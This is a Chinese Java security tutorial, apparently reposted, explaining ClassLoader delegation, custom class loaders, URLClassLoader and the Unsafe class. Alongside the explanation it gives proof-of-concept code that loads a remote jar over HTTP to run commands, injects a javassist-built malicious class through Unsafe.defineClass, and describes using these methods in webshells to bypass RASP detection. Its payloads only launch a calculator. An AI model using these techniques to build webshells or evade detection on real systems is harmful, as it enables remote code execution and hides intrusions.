java安全——类加载和Unsafe类(ClassLoader,URLClassLoader)
Posted songly_
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了java安全——类加载和Unsafe类(ClassLoader,URLClassLoader)相关的知识,希望对你有一定的参考价值。
当要执行某一个类时,java程序在运行前会将java文件编译成class字节码文件,然后调用ClassLoader类加载器加载类字节码,通过JVM的native方法来创建类的class对象。
使用javap命令反编译HelloTest.class文件查看其内容
用工具以十六进制打开.class文件的二进制内容,jvm执行HelloTest类会解析class文件中的字节码内容(ByteCode)
ClassLoader类加载器
ClassLoader类加载器主要是用于加载java类文件的,在JVM类加载器中最顶层的是Bootstrap ClassLoader(引导类加载器)、Extension ClassLoader(扩展类加载器)、App ClassLoader(系统类加载器)。
一般不指定类加载器的话,默认会使用Applicaiton ClassLoader类加载器来加载java类,有时候我们通过一个类获取当前类加载器时可能会返回null,来看这个示例程序:
String和InputStream是jvm识别的类,会被Bootstrap ClassLoader引导类加载器加载,并且Bootstrap ClassLoader类加载器底层是由C++编写的,当尝试获取Bootstrap ClassLoader类加载器加载的类时都会返回null,为什么LazyMap类可以获取到Applicaiton ClassLoader类加载器?因为LazyMap是由开发者自定义编写的类。
ClassLoader类有以下几个常用的方法,特别是我们在阅读一些框架的源码时常会看到这些方法,特别是java安全中反序列化漏洞的利用也会用到这些方法:
loadClass用于加载指定的Java类
findClass用于查找指定的Java类
findLoadedClass用于查找JVM已经加载过的类
defineClass用于定义一个Java类
resolveClass用于链接指定的Java类
例如之前在分析fastjson,apache commons collections中间件的反序列化漏洞时,总会看到com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl利用链的身影
TemplatesImpl类之所以在反序列化漏洞中常见是因为,它有一个静态的内部类TransletClassLoader继承了ClassLoader类并重写了loadClass方法和defineClass方法,这两个方法在触发反序列化漏洞执行RCE命令时会经常看到。
Java类动态加载方式
new操作和类名.方法的方式是隐式类加载,反射和ClassLoader来加载类是显示类加载。
class Test2{
public static void hello(){
System.out.println("hello world");
}
}
public class Test {
public void main(String[] args) throws Exception{
//new操作
new Test2();
//类名.方法
Test2.hello();
//反射加载类
Class.forName("com.fastjson.Test2");
//通过ClassLoader类加载器来加载
this.getClass().getClassLoader().loadClass("com.fastjson.Test2");
}
}
ClassLoader会调用单参数的loadClass加载类,然后再调用两个参数的loadClass方法,findLoadedClass方法用于查找name指定的类是否已经被初始化,如果是则直接返回,如果传入了父类加载器的话,会优先使用父类加载器来加载name指定的类,如果以上都无法加载,则调用自己的findClass来加载
protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
synchronized (getClassLoadingLock(name)) {
//检查类是否已经被初始化
Class<?> c = findLoadedClass(name);
if (c == null) {
long t0 = System.nanoTime();
try {
if (parent != null) {
//使用父类加载器来加载name指定的类
c = parent.loadClass(name, false);
} else {
//否则使用Bootstrap ClassLoader来加载
c = findBootstrapClassOrNull(name);
}
} catch (ClassNotFoundException e) {
// ClassNotFoundException thrown if class not found
// from the non-null parent class loader
}
if (c == null) {
//如果上一步无法加载,则调用findClass来加载
long t1 = System.nanoTime();
c = findClass(name);
// this is the defining class loader; record the stats
sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
sun.misc.PerfCounter.getFindClasses().increment();
}
}
if (resolve) {
//如果指定了resolve参数,则调用resolveClass链接类
resolveClass(c);
}
return c;
}
}
如果当前的ClassLoader没有重写了findClass方法,那么直接返回异常,如果当前类重写了findClass方法并通过传入的类名找到了对应的类字节码,那么调用defineClass方法去JVM中注册该类。
自定义ClassLoader
ClassLoader是所有类加载器的父类,ClassLoader下有很多子类加载器,也可以自定义类加载器实现自定义的操作,这意味着我们可以自定义一个类加载器继承ClassLoader并重写findClass方法,这样就可以在调用defineClass方法的时候传入一个类的字节码方式来定义一个类,再通过反射调用类的方法。
自定义一个CustomClassloader 类加载器继承ClassLoader
package com.classloader;
import java.lang.reflect.Method;
/**
* @auther songly_
* @data 2021/9/11 21:53
*/
public class CustomClassloader extends ClassLoader {
//Test类的字节码
private static byte[] byteCode = new byte[]{-54,-2,-70,-66,0,0,0,49,0,31,10,0,6,0,17,9,0,18,0,19,8,0,20,10,0,21,0,22,7,0,23,7,0,24,1,0,6,60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,100,101,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,18,76,111,99,97,108,86,97,114,105,97,98,108,101,84,97,98,108,101,1,0,4,116,104,105,115,1,0,19,76,99,111,109,47,102,97,115,116,106,115,111,110,47,84,101,115,116,59,1,0,5,104,101,108,108,111,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,9,84,101,115,116,46,106,97,118,97,12,0,7,0,8,7,0,25,12,0,26,0,27,1,0,11,104,101,108,108,111,32,119,111,114,108,100,7,0,28,12,0,29,0,30,1,0,17,99,111,109,47,102,97,115,116,106,115,111,110,47,84,101,115,116,1,0,16,106,97,118,97,47,108,97,110,103,47,79,98,106,101,99,116,1,0,16,106,97,118,97,47,108,97,110,103,47,83,121,115,116,101,109,1,0,3,111,117,116,1,0,21,76,106,97,118,97,47,105,111,47,80,114,105,110,116,83,116,114,101,97,109,59,1,0,19,106,97,118,97,47,105,111,47,80,114,105,110,116,83,116,114,101,97,109,1,0,7,112,114,105,110,116,108,110,1,0,21,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,86,0,33,0,5,0,6,0,0,0,0,0,2,0,1,0,7,0,8,0,1,0,9,0,0,0,47,0,1,0,1,0,0,0,5,42,-73,0,1,-79,0,0,0,2,0,10,0,0,0,6,0,1,0,0,0,8,0,11,0,0,0,12,0,1,0,0,0,5,0,12,0,13,0,0,0,1,0,14,0,8,0,1,0,9,0,0,0,55,0,2,0,1,0,0,0,9,-78,0,2,18,3,-74,0,4,-79,0,0,0,2,0,10,0,0,0,10,0,2,0,0,0,10,0,8,0,11,0,11,0,0,0,12,0,1,0,0,0,9,0,12,0,13,0,0,0,1,0,15,0,0,0,2,0,16
};
@Override
public Class<?> findClass(String className) throws ClassNotFoundException {
//调用JVM的native方法加载Test类
return defineClass(className, byteCode, 0, byteCode.length);
}
public static void main(String[] args) throws Exception {
// 创建自定义类加载器
CustomClassloader loader = new CustomClassloader();
// 使用自定义的类加载器加载TestHelloWorld类
Class testClass = loader.loadClass("com.fastjson.Test");
// 反射创建TestHelloWorld类
Object obj = testClass.newInstance();
// 反射调用hello方法
Method method = obj.getClass().getMethod("hello");
method.invoke(obj);
}
}
通过自定义类加载器可以加载并调用自定义编写的java对象,例如webshell中执行命令可以调用自定义类字节码的native方法从而绕过RASP检测,也可以对java类字节码进行加密来绕过检测。
URLClassLoader类加载器
java程序一般都是通过new,Class.forName( ),类名.方法,这几种方式来动态加载类,但这几种方式都只能加载程序中已经引用的类或者jar包,并且只能用包名的方法索引查找(例如java.lang.Runtime),不能创建一个.class文件或者引用一个不在程序中的jar包的类。
URLClassLoader是在java.net包下的一个类,并且也继承了ClassLoader类,它可以从本地加载类,也可以远程加载一个类,在编写免杀的shell时可以利用这个特性来加载远程的jar文件,从而实现远程的类方法调用。
URLClassLoader可通过以下几种方式加载一个类:
从jar包中加载
从url指定的远程Http服务加载
从文件系统目录中加载
首先定义一个Test类,编译成class文件并打包成jar包文件 d:\\jdk1.7.80\\bin\\jar.exe cvf javatest.jar Test.class
import java.io.IOException;
public class Test {
public static void rce(String cmd) throws IOException {
Runtime.getRuntime().exec(cmd);
}
}
自定义一个类加载器远程加载jar包的类,并调用类的方法实现远程RCE命令执行
public class CustomClassloader {
public static void main(String[] args) throws Exception {
// 从url指定的远程http服务器上加载的jar文件
URL url = new URL("http://127.0.0.1:8081/javatest.jar");
// 创建URLClassLoader加载远程jar包
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
//rce命令弹出计算器
String cmd = "calc";
// 通过URLClassLoader加载远程jar包中的Test类
Class aClass = urlClassLoader.loadClass("Test");
// 远程调用Test类中的rce方法
aClass.getMethod("rce", String.class).invoke(null, cmd);
}
}
Unsafe类
Unsafe是java底层提供的一个类,Unsafe类主要用于执行非常底层、不安全操作的方法,例如直接访问系统内存资源、自主管理内存资源等,这些方法在提升Java运行效率、增强Java语言底层资源调度能力方面起到了很大的作用。
由于Unsafe类可以对系统进行非常底层且不安全的操作,对于Unsafe类的使用上进行了诸多的限制,来看一下如何使用Unsafe类
private static final Unsafe theUnsafe;
//构造私有化
private Unsafe() {
}
//只提供静态方法获取Unsafe实例
@CallerSensitive
public static Unsafe getUnsafe() {
Class var0 = Reflection.getCallerClass();
//判断当前类加载器是否为空
if (!VM.isSystemDomainLoader(var0.getClassLoader())) {
throw new SecurityException("Unsafe");
} else {
return theUnsafe;
}
}
从代码中可以看到Unsafe类的构造被私有化了,Unsafe类对外只提供一个静态方法来获取当前Unsafe实例,Unsafe是一个底层类,通过查看源码可以看到它的很多方法都是非诚底层的native方法,因此Unsafe类只会被BootstrapClassLoader加载。
jvm为了防止开发者在代码中调用Unsafe类(防止使用AppClassLoader去加载Unsafe类),在调用getUnsafe方法获取Unsafe实例时会判断当前类加载器是否为空(通常Unsafe类只会被BootstrapClassLoader加载,所以一般当前加载器默认为空),然后返回theUnsafe对象,如果当前类加载器不为空,则会抛出SecurityException异常,这样做的目的是为了限制我们在编写程序中使用Unsafe类。
来看一个示例程序,例如我们在代码中直接通过getUnsafe方法获取Unsafe实例
getUnsafe方法会判断当前类加载器是否为空,由于代码中getUnsafe方法获取Unsafe实例默认使用了Applicaiton ClassLoader类加载器,getClassLoader方法返回的结果不为null会抛出SecurityException异常。
我们仍然可以使用其他的方式来获取Unsafe的实例,万能的反射机制
public class UnsafeTest {
public static void main(String[] args) throws Exception {
//方式一:通过反射直接获取theUnsafe对象
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe1 = (Unsafe)field.get(null);
System.out.println(unsafe1);
//方式二:通过暴力反射可以突破Unsafe类的构造私有化的限制,通过构造器实例化Unsafe
Constructor<Unsafe> constructor = Unsafe.class.getDeclaredConstructor(null);
constructor.setAccessible(true);
Unsafe unsafe2 = constructor.newInstance();
System.out.println(unsafe2);
}
}
获取theUnsafe对象之后,就可以使用Unsafe类的底层操作了,这里只讲关于对象,class的相关操作
对象操作
// 传入一个Class对象并创建该实例对象,但不会调用构造方法
public native Object allocateInstance(Class<?> cls) throws InstantiationException;
// 获取字段f在实例对象中的偏移量
public native long objectFieldOffset(Field f);
// 返回值就是f.getDeclaringClass()
public native Object staticFieldBase(Field f);
// 静态属性的偏移量,用于在对应的Class对象中读写静态属性
public native long staticFieldOffset(Field f);
// 获得给定对象偏移量上的int值,所谓的偏移量可以简单理解为指针指向该变量;的内存地址,
// 通过偏移量便可得到该对象的变量,进行各种操作
public native int getInt(Object o, long offset);
// 设置给定对象上偏移量的int值
public native void putInt(Object o, long offset, int x);
// 获得给定对象偏移量上的引用类型的值
public native Object getObject(Object o, long offset);
// 设置给定对象偏移量上的引用类型的值
public native void putObject(Object o, long offset, Object x););
// 设置给定对象的int值,使用volatile语义,即设置后立马更新到内存对其他线程可见
public native void putIntVolatile(Object o, long offset, int x);
// 获得给定对象的指定偏移量offset的int值,使用volatile语义,总能获取到最新的int值。
public native int getIntVolatile(Object o, long offset);
// 与putIntVolatile一样,但要求被操作字段必须有volatile修饰
public native void putOrderedInt(Object o, long offset, int x);
对象操作中有一个allocateInstance方法在创建实例对象时,不会调用构造方法,这意味着allocateInstance方法可以跳过构造函数的检查,例如当我们想要实例化的类没有public的构造函数时,除了反射机制,还可以使用allocateInstance方法来进行对象的实例化。
继续来看一个例子:
Student的getName方法输出的结果为null,说明没有调用Student对象的构造,但是allocateInstance方法还是可以实例化Student对象,allocateInstance方法只给Student对象分配了内存,并不会调用构造方法初始化Student的属性。
对象操作示例程序:
package com.test;
import sun.misc.Unsafe;
import java.lang.reflect.Field;
/**
* @auther songly_
* @data 2021/9/12 19:23
*/
class Student {
private String name;
private int age;
private static String country = "china";
private Student() {
name = "zhangsan";
age = 3;
}
public String getName() {
return name;
}
@Override
public String toString() {
return "Student{" +
"name='" + name + '\\'' +
", age=" + age +
'}';
}
public static String getCountry() {
return country;
}
}
public class UnsafeTest {
public static void main(String[] args) throws Exception {
//获取Unsafe对象
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
//通过allocateInstance方法实例化Student
Student student = (Student) unsafe.allocateInstance(Student.class);
//获取class对象
Class<? extends Student> studentClass = student.getClass();
//获取field
Field name = studentClass.getDeclaredField("name");
Field age = studentClass.getDeclaredField("age");
Field country = studentClass.getDeclaredField("country");
//获取name和age在对象内存中的偏移量
long nameOffset = unsafe.objectFieldOffset(name);
long ageOffset = unsafe.objectFieldOffset(age);
//设置值
unsafe.putObject(student, nameOffset, "zhangsan");
unsafe.putInt(student, ageOffset, 3);
System.out.println(student);
//获取静态变量country所属的类
Object staticFieldBase = unsafe.staticFieldBase(country);
System.out.println(staticFieldBase);
//获取静态变量country的偏移量
long countryOffset = unsafe.staticFieldOffset(country);
//获取静态变量country的值
Object object = unsafe.getObject(staticFieldBase, countryOffset);
System.out.println(object);
//设置静态变量country的值
unsafe.putObject(staticFieldBase,countryOffset,"beijing");
System.out.println(student);
System.out.println(Student.getCountry());
}
}
程序执行结果:
class相关操作
//静态属性的偏移量,用于在对应的Class对象中读写静态属性
public native long staticFieldOffset(Field f);
//获取一个静态字段的对象指针
public native Object staticFieldBase(Field f);
//判断是否需要初始化一个类,通常在获取一个类的静态属性的时候(因为一个类如果没初始化,它的静态属性也不会初始化)使用。 当且仅当ensureClassInitialized方法不生效时返回false
public native boolean shouldBeInitialized(Class<?> c);
//确保类被初始化
public native void ensureClassInitialized(Class<?> c);
//定义一个类,可用于动态创建类,此方法会跳过JVM的所有安全检查,默认情况下,ClassLoader(类加载器)和ProtectionDomain(保护域)实例来源于调用者
public native Class<?> defineClass(String name, byte[] b, int off, int len, ClassLoader loader, ProtectionDomain protectionDomain);
//定义一个匿名类,可用于动态创建类
public native Class<?> defineAnonymousClass(Class<?> hostClass, byte[] data, Object[] cpPatches);
class相关操作中有一个defineClass方法,这个方法比ClassLoader中的defineClass方法作用类似,但更加强大,比如在编写java的webshell时可以通过Unsafe类的defineClass方法来创建一个类。例如使用javassist字节码编程创建一个恶意类,然后通过Unsafe类加载恶意类执行RCE命令
public static void main(String[] args) throws Exception {
String abstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String Classname ="com.test.TemplateTestPoc";
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(abstractTranslet);
CtClass ctClass = classPool.makeClass("com.test.TemplateTestPoc");
ctClass.setSuperclass(classPool.get(abstractTranslet));
//插入rce命令执行
ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\\"calc\\");");
byte[] bytecode = ctClass.toBytecode();
//获取系统加载器
ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader();
//创建默认保护域
ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), null, systemClassLoader, null);
Class<?> aClass = Class.forName("sun.misc.Unsafe");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor();
declaredConstructor.setAccessible(true);
Unsafe unsafe = (Unsafe)declaredConstructor.newInstance();
Class<?> aClass1 = unsafe.defineClass(Classname, bytecode, 0, bytecode.length, systemClassLoader, protectionDomain);
Object object = aClass1.newInstance();
}
参考资料:
https://www.cnblogs.com/rickiyang/p/11334887.html
https://www.cnblogs.com/mickole/articles/3757278.html
以上是关于java安全——类加载和Unsafe类(ClassLoader,URLClassLoader)的主要内容,如果未能解决你的问题,请参考以下文章
java安全——类加载和Unsafe类(ClassLoader,URLClassLoader)